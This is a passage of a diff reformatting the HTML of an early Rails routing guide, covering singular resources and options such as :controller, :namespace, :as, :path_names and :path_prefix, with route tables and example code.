- <td align="left">
- update
- </td>
- <td align="left">
- update the one and only geocoder resource
- </td>
- </tr>
- <tr>
- <td align="left">
- DELETE
- </td>
- <td align="left">
- /geocoder
- </td>
- <td align="left">
- Geocoders
- </td>
- <td align="left">
- destroy
- </td>
- <td align="left">
- delete the geocoder resource
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/geocoder/new</p></td>
+<td align="left"><p class="table">Geocoders</p></td>
+<td align="left"><p class="table">new</p></td>
+<td align="left"><p class="table">return an HTML form for creating the new geocoder</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">POST</p></td>
+<td align="left"><p class="table">/geocoder</p></td>
+<td align="left"><p class="table">Geocoders</p></td>
+<td align="left"><p class="table">create</p></td>
+<td align="left"><p class="table">create the new geocoder</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/geocoder</p></td>
+<td align="left"><p class="table">Geocoders</p></td>
+<td align="left"><p class="table">show</p></td>
+<td align="left"><p class="table">display the one and only geocoder resource</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/geocoder/edit</p></td>
+<td align="left"><p class="table">Geocoders</p></td>
+<td align="left"><p class="table">edit</p></td>
+<td align="left"><p class="table">return an HTML form for editing the geocoder</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">PUT</p></td>
+<td align="left"><p class="table">/geocoder</p></td>
+<td align="left"><p class="table">Geocoders</p></td>
+<td align="left"><p class="table">update</p></td>
+<td align="left"><p class="table">update the one and only geocoder resource</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">DELETE</p></td>
+<td align="left"><p class="table">/geocoder</p></td>
+<td align="left"><p class="table">Geocoders</p></td>
+<td align="left"><p class="table">destroy</p></td>
+<td align="left"><p class="table">delete the geocoder resource</p></td>
+</tr>
</tbody>
</table>
</div>
@@ -864,8 +537,8 @@ cellspacing="0" cellpadding="4">
<td class="content">Even though the name of the resource is singular in <tt>routes.rb</tt>, the matching controller is still plural.</td>
</tr></table>
</div>
-<div class="para"><p>A singular RESTful route generates an abbreviated set of helpers:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>A singular RESTful route generates an abbreviated set of helpers:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>new_geocoder_url</tt> and <tt>new_geocoder_path</tt> map to the path for the new action
@@ -883,8 +556,8 @@ cellspacing="0" cellpadding="4">
</li>
</ul></div>
<h3 id="_customizing_resources">3.6. Customizing Resources</h3>
-<div class="para"><p>Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:controller</tt>
@@ -936,165 +609,85 @@ cellspacing="0" cellpadding="4">
</p>
</li>
</ul></div>
-<div class="para"><p>You can also add additional routes via the <tt>:member</tt> and <tt>:collection</tt> options, which are discussed later in this guide.</p></div>
+<div class="paragraph"><p>You can also add additional routes via the <tt>:member</tt> and <tt>:collection</tt> options, which are discussed later in this guide.</p></div>
<h4 id="_using_controller">3.6.1. Using :controller</h4>
-<div class="para"><p>The <tt>:controller</tt> option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:</p></div>
+<div class="paragraph"><p>The <tt>:controller</tt> option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span>
-</tt></pre></div></div>
-<div class="para"><p>will recognize incoming URLs containing <tt>photo</tt> but route the requests to the Images controller:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span></tt></pre></div></div>
+<div class="paragraph"><p>will recognize incoming URLs containing <tt>photo</tt> but route the requests to the Images controller:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
- <tr>
- <th align="left">
- HTTP verb
- </th>
- <th align="left">
- URL
- </th>
- <th align="left">
- controller
- </th>
- <th align="left">
- action
- </th>
- <th align="left">
- used for
- </th>
- </tr>
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<thead valign="top">
+<tr>
+<th align="left">HTTP verb </th>
+<th align="left">URL </th>
+<th align="left">controller </th>
+<th align="left">action </th>
+<th align="left">used for</th>
+</tr>
</thead>
<tbody valign="top">
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos
- </td>
- <td align="left">
- Images
- </td>
- <td align="left">
- index
- </td>
- <td align="left">
- display a list of all images
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos/new
- </td>
- <td align="left">
- Images
- </td>
- <td align="left">
- new
- </td>
- <td align="left">
- return an HTML form for creating a new image
- </td>
- </tr>
- <tr>
- <td align="left">
- POST
- </td>
- <td align="left">
- /photos
- </td>
- <td align="left">
- Images
- </td>
- <td align="left">
- create
- </td>
- <td align="left">
- create a new image
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos/1
- </td>
- <td align="left">
- Images
- </td>
- <td align="left">
- show
- </td>
- <td align="left">
- display a specific image
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /photos/1/edit
- </td>
- <td align="left">
- Images
- </td>
- <td align="left">
- edit
- </td>
- <td align="left">
- return an HTML form for editing a image
- </td>
- </tr>
- <tr>
- <td align="left">
- PUT
- </td>
- <td align="left">
- /photos/1
- </td>
- <td align="left">
- Images
- </td>
- <td align="left">
- update
- </td>
- <td align="left">
- update a specific image
- </td>
- </tr>
- <tr>
- <td align="left">
- DELETE
- </td>
- <td align="left">
- /photos/1
- </td>
- <td align="left">
- Images
- </td>
- <td align="left">
- destroy
- </td>
- <td align="left">
- delete a specific image
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos</p></td>
+<td align="left"><p class="table">Images</p></td>
+<td align="left"><p class="table">index</p></td>
+<td align="left"><p class="table">display a list of all images</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos/new</p></td>
+<td align="left"><p class="table">Images</p></td>
+<td align="left"><p class="table">new</p></td>
+<td align="left"><p class="table">return an HTML form for creating a new image</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">POST</p></td>
+<td align="left"><p class="table">/photos</p></td>
+<td align="left"><p class="table">Images</p></td>
+<td align="left"><p class="table">create</p></td>
+<td align="left"><p class="table">create a new image</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos/1</p></td>
+<td align="left"><p class="table">Images</p></td>
+<td align="left"><p class="table">show</p></td>
+<td align="left"><p class="table">display a specific image</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/photos/1/edit</p></td>
+<td align="left"><p class="table">Images</p></td>
+<td align="left"><p class="table">edit</p></td>
+<td align="left"><p class="table">return an HTML form for editing a image</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">PUT</p></td>
+<td align="left"><p class="table">/photos/1</p></td>
+<td align="left"><p class="table">Images</p></td>
+<td align="left"><p class="table">update</p></td>
+<td align="left"><p class="table">update a specific image</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">DELETE</p></td>
+<td align="left"><p class="table">/photos/1</p></td>
+<td align="left"><p class="table">Images</p></td>
+<td align="left"><p class="table">destroy</p></td>
+<td align="left"><p class="table">delete a specific image</p></td>
+</tr>
</tbody>
</table>
</div>
@@ -1103,36 +696,34 @@ cellspacing="0" cellpadding="4">
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
+<td class="content">The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you&#8217;d still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
</tr></table>
</div>
<h3 id="_controller_namespaces_and_routing">3.7. Controller Namespaces and Routing</h3>
-<div class="para"><p>Rails allows you to group your controllers into namespaces by saving them in folders underneath <tt>app/controllers</tt>. The <tt>:controller</tt> option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the <tt>admin</tt> folder:</p></div>
+<div class="paragraph"><p>Rails allows you to group your controllers into namespaces by saving them in folders underneath <tt>app/controllers</tt>. The <tt>:controller</tt> option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the <tt>admin</tt> folder:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin/photos"</span>
-</tt></pre></div></div>
-<div class="para"><p>If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the <tt>adminphoto_path</tt> helper, and you follow a link generated with <tt>&lt;%= link_to "show", adminphoto(1) %&gt;</tt> you will end up on the view generated by <tt>admin/photos/show</tt> but you will also end up in the same place if you have <tt>&lt;%= link_to "show", {:controller &#8658; "photos", :action &#8658; "show"} %&gt;</tt> because Rails will generate the show URL relative to the current URL.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin/photos"</span></tt></pre></div></div>
+<div class="paragraph"><p>If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the <tt>adminphoto_path</tt> helper, and you follow a link generated with <tt>&lt;%= link_to "show", adminphoto(1) %&gt;</tt> you will end up on the view generated by <tt>admin/photos/show</tt> but you will also end up in the same place if you have <tt>&lt;%= link_to "show", {:controller =&gt; "photos", :action =&gt; "show"} %&gt;</tt> because Rails will generate the show URL relative to the current URL.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <tt>&lt;%= link_to "show", {:controller &#8658; "/photos", :action &#8658; "show"} %&gt;</tt></td>
+<td class="content">If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <tt>&lt;%= link_to "show", {:controller =&gt; "/photos", :action =&gt; "show"} %&gt;</tt></td>
</tr></table>
</div>
-<div class="para"><p>You can also specify a controller namespace with the <tt>:namespace</tt> option instead of a path:</p></div>
+<div class="paragraph"><p>You can also specify a controller namespace with the <tt>:namespace</tt> option instead of a path:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span>
-</tt></pre></div></div>
-<div class="para"><p>This can be especially useful when combined with <tt>with_options</tt> to map multiple namespaced routes together:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>adminphotos<span style="color: #990000">,</span> <span style="color: #990000">:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span></tt></pre></div></div>
+<div class="paragraph"><p>This can be especially useful when combined with <tt>with_options</tt> to map multiple namespaced routes together:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1140,18 +731,16 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>with_options<span style="color: #990000">(:</span>namespace <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"admin"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>That would give you routing for <tt>admin/photos</tt> and <tt>admin/videos</tt> controllers.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>That would give you routing for <tt>admin/photos</tt> and <tt>admin/videos</tt> controllers.</p></div>
<h4 id="_using_singular">3.7.1. Using :singular</h4>
-<div class="para"><p>If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the <tt>:singular</tt> option:</p></div>
+<div class="paragraph"><p>If for some reason Rails isn&#8217;t doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the <tt>:singular</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>teeth<span style="color: #990000">,</span> <span style="color: #990000">:</span>singular <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"tooth"</span>
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>teeth<span style="color: #990000">,</span> <span style="color: #990000">:</span>singular <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"tooth"</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1161,175 +750,94 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h4 id="_using_requirements">3.7.2. Using :requirements</h4>
-<div class="para"><p>You an use the <tt>:requirements</tt> option in a RESTful route to impose a format on the implied <tt>:id</tt> parameter in the singular routes. For example:</p></div>
+<div class="paragraph"><p>You an use the <tt>:requirements</tt> option in a RESTful route to impose a format on the implied <tt>:id</tt> parameter in the singular routes. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z][A-Z][0-9]+/</span><span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This declaration constrains the <tt>:id</tt> parameter to match the supplied regular expression. So, in this case, <tt>/photos/1</tt> would no longer be recognized by this route, but <tt>/photos/RR27</tt> would.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z][A-Z][0-9]+/</span><span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This declaration constrains the <tt>:id</tt> parameter to match the supplied regular expression. So, in this case, <tt>/photos/1</tt> would no longer be recognized by this route, but <tt>/photos/RR27</tt> would.</p></div>
<h4 id="_using_conditions">3.7.3. Using :conditions</h4>
-<div class="para"><p>Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)</p></div>
+<div class="paragraph"><p>Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You&#8217;ll learn more about conditions in the discussion of classic routing later in this guide.)</p></div>
<h4 id="_using_as">3.7.4. Using :as</h4>
-<div class="para"><p>The <tt>:as</tt> option lets you override the normal naming for the actual generated paths. For example:</p></div>
+<div class="paragraph"><p>The <tt>:as</tt> option lets you override the normal naming for the actual generated paths. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span>
-</tt></pre></div></div>
-<div class="para"><p>will recognize incoming URLs containing <tt>image</tt> but route the requests to the Photos controller:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span></tt></pre></div></div>
+<div class="paragraph"><p>will recognize incoming URLs containing <tt>image</tt> but route the requests to the Photos controller:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
- <tr>
- <th align="left">
- HTTP verb
- </th>
- <th align="left">
- URL
- </th>
- <th align="left">
- controller
- </th>
- <th align="left">
- action
- </th>
- <th align="left">
- used for
- </th>
- </tr>
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<thead valign="top">
+<tr>
+<th align="left">HTTP verb </th>
+<th align="left">URL </th>
+<th align="left">controller </th>
+<th align="left">action </th>
+<th align="left">used for</th>
+</tr>
</thead>
<tbody valign="top">
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /images
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- index
- </td>
- <td align="left">
- display a list of all photos
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /images/new
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- new
- </td>
- <td align="left">
- return an HTML form for creating a new photo
- </td>
- </tr>
- <tr>
- <td align="left">
- POST
- </td>
- <td align="left">
- /images
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- create
- </td>
- <td align="left">
- create a new photo
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /images/1
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- show
- </td>
- <td align="left">
- display a specific photo
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /images/1/edit
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- edit
- </td>
- <td align="left">
- return an HTML form for editing a photo
- </td>
- </tr>
- <tr>
- <td align="left">
- PUT
- </td>
- <td align="left">
- /images/1
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- update
- </td>
- <td align="left">
- update a specific photo
- </td>
- </tr>
- <tr>
- <td align="left">
- DELETE
- </td>
- <td align="left">
- /images/1
- </td>
- <td align="left">
- Photos
- </td>
- <td align="left">
- destroy
- </td>
- <td align="left">
- delete a specific photo
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/images</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">index</p></td>
+<td align="left"><p class="table">display a list of all photos</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/images/new</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">new</p></td>
+<td align="left"><p class="table">return an HTML form for creating a new photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">POST</p></td>
+<td align="left"><p class="table">/images</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">create</p></td>
+<td align="left"><p class="table">create a new photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/images/1</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">show</p></td>
+<td align="left"><p class="table">display a specific photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/images/1/edit</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">edit</p></td>
+<td align="left"><p class="table">return an HTML form for editing a photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">PUT</p></td>
+<td align="left"><p class="table">/images/1</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">update</p></td>
+<td align="left"><p class="table">update a specific photo</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">DELETE</p></td>
+<td align="left"><p class="table">/images/1</p></td>
+<td align="left"><p class="table">Photos</p></td>
+<td align="left"><p class="table">destroy</p></td>
+<td align="left"><p class="table">delete a specific photo</p></td>
+</tr>
</tbody>
</table>
</div>
@@ -1338,19 +846,18 @@ cellspacing="0" cellpadding="4">
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
+<td class="content">The helpers will be generated with the name of the resource, not the path name. So in this case, you&#8217;d still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
</tr></table>
</div>
<h4 id="_using_path_names">3.7.5. Using :path_names</h4>
-<div class="para"><p>The <tt>:path_names</tt> option lets you override the automatically-generated "new" and "edit" segments in URLs:</p></div>
+<div class="paragraph"><p>The <tt>:path_names</tt> option lets you override the automatically-generated "new" and "edit" segments in URLs:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_names <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This would cause the routing to recognize URLs such as</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_names <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This would cause the routing to recognize URLs such as</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>/photos/make
@@ -1361,7 +868,7 @@ http://www.gnu.org/software/src-highlite -->
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.</td>
+<td class="content">The actual action names aren&#8217;t changed by this option; the two URLs show would still route to the new and edit actions.</td>
</tr></table>
</div>
<div class="admonitionblock">
@@ -1377,18 +884,16 @@ http://www.gnu.org/software/src-highlite -->
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>resources_path_names <span style="color: #990000">=</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
+<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>resources_path_names <span style="color: #990000">=</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
<h4 id="_using_path_prefix">3.7.6. Using :path_prefix</h4>
-<div class="para"><p>The <tt>:path_prefix</tt> option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:</p></div>
+<div class="paragraph"><p>The <tt>:path_prefix</tt> option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span>
-</tt></pre></div></div>
-<div class="para"><p>Routes recognized by this entry would include:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span></tt></pre></div></div>
+<div class="paragraph"><p>Routes recognized by this entry would include:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>/photographers/1/photos/2
@@ -1399,7 +904,7 @@ http://www.gnu.org/software/src-highlite -->
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.</td>
+<td class="content">In most cases, it&#8217;s simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.</td>
</tr></table>
</div>
<div class="admonitionblock">
@@ -1411,16 +916,15 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h4 id="_using_name_prefix">3.7.7. Using :name_prefix</h4>
-<div class="para"><p>You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use <tt>:path_prefix</tt> to map differently. For example:</p></div>
+<div class="paragraph"><p>You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use <tt>:path_prefix</tt> to map differently. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photographer_'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/agencies/:agency_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'agency_'</span>
-</tt></pre></div></div>
-<div class="para"><p>This combination will give you route helpers such as <tt>photographer_photos_path</tt> and <tt>agency_edit_photo_path</tt> to use in your code.</p></div>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/agencies/:agency_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'agency_'</span></tt></pre></div></div>
+<div class="paragraph"><p>This combination will give you route helpers such as <tt>photographer_photos_path</tt> and <tt>agency_edit_photo_path</tt> to use in your code.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1430,25 +934,23 @@ map<span style="color: #990000">.</span>resources <span style="color: #990000">:
</tr></table>
